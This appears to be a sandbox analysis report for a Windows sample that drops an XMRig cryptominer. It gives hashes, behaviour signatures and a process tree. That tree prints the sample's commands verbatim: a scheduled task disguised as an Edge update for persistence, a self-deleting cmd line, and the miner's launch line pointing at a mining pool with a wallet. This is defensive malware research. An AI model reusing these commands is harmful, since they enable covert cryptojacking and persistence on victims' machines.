Analysis
-
max time kernel
120s -
max time network
116s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
25-01-2025 15:47
General
-
Target
e62f10e317a9ff713ced832003a3ddc6ed586c742a929e745cbbf5ebfcd6a96bN.exe
-
Size
1.8MB
-
MD5
87afdc6e4189d9c282dc2cef16489b20
-
SHA1
12adfc719b99ca188efee3ba9cd9738ed35efcd3
-
SHA256
e62f10e317a9ff713ced832003a3ddc6ed586c742a929e745cbbf5ebfcd6a96b
-
SHA512
d1f90bf060b8cf8e9d902e53158e63a03a6e613a3247312fb7d891d5695ab4047115f7bd11709b253b89ecd4f9224e3558172caaf910fd68a5b65641932df06f
-
SSDEEP
49152:v1NgdUZonOk+9wqzOCN6OEOIUlNIiOkk6baID2rd0f:d6KkBCk6zlNIG95yWf
Malware Config
Signatures
-
Xmrig family
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
XMRig Miner payload 1 IoCs
-
Downloads MZ/PE file 1 IoCs
-
Deletes itself 1 IoCs
-
Executes dropped EXE 2 IoCs
-
Loads dropped DLL 3 IoCs
-
Delays execution with timeout.exe 1 IoCs
-
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious use of AdjustPrivilegeToken 2 IoCs
-
Suspicious use of FindShellTrayWindow 1 IoCs
-
Suspicious use of WriteProcessMemory 15 IoCs
-
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\e62f10e317a9ff713ced832003a3ddc6ed586c742a929e745cbbf5ebfcd6a96bN.exe"C:\Users\Admin\AppData\Local\Temp\e62f10e317a9ff713ced832003a3ddc6ed586c742a929e745cbbf5ebfcd6a96bN.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks.exe /Create /SC MINUTE /MO 1 /TN "MicrosoftEdgeUpdateTaskMachineCoreTask" /TR "C:\ProgramData\WinUpdate32\Updater.exe" /RL HIGHEST /F2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\cmd.execmd.exe /c timeout /t 5 /nobreak >nul & del "C:\Users\Admin\AppData\Local\Temp\e62f10e317a9ff713ced832003a3ddc6ed586c742a929e745cbbf5ebfcd6a96bN.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\timeout.exetimeout /t 5 /nobreak3⤵
- Delays execution with timeout.exe
-
-
-
C:\Windows\system32\taskeng.exetaskeng.exe {EFDDAEB0-E918-4199-B3E9-CA37C4D85D0A} S-1-5-21-3290804112-2823094203-3137964600-1000:VORHPBAB\Admin:Interactive:[1]1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\WinUpdate32\Updater.exeC:\ProgramData\WinUpdate32\Updater.exe2⤵
- Downloads MZ/PE file
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\Microsoft\UpdateTaskManager.exe"C:\Users\Admin\AppData\Roaming\Microsoft\UpdateTaskManager.exe" -a rx/0 -o xmr-eu1.nanopool.org:10343 -u 48EzR9SzuqGf2S1gXVTkpEDrEhZ6WpJX3KKsG6ZxMi447nkY7LQeN4p7Ye13tkw7G3KGDKp5Q3C47ZUsQpsSXzA27tT3z82.WORKER1 -p WORKER1 --threads=4 --cpu-priority=0 --tls3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1.8MB
MD587afdc6e4189d9c282dc2cef16489b20
SHA112adfc719b99ca188efee3ba9cd9738ed35efcd3
SHA256e62f10e317a9ff713ced832003a3ddc6ed586c742a929e745cbbf5ebfcd6a96b
SHA512d1f90bf060b8cf8e9d902e53158e63a03a6e613a3247312fb7d891d5695ab4047115f7bd11709b253b89ecd4f9224e3558172caaf910fd68a5b65641932df06f
-
Filesize
5.3MB
MD50b6c036c7e331ac1580b1c6e8b89e92f
SHA1c2e43e4ed7322aea501c58030eabb9c358afa5db
SHA25691bb6ef6bb9a99d6120ba4ce41712764874476af7c1c49d087940a972078ac08
SHA51272cf27688da48b95fe51e9dfdee985821e344c87144932010b143eb377c7eb3823610be3cac95c9984fbf0d7598da6f6d7a1ce02b046c34081478b726fdfe5fc
-
Filesize
1.8MB
-
Filesize
652KB
-
Filesize
128KB
-
Filesize
7.9MB
-
Filesize
1.8MB
-
Filesize
7.9MB
-
Filesize
7.9MB
-
Filesize
7.9MB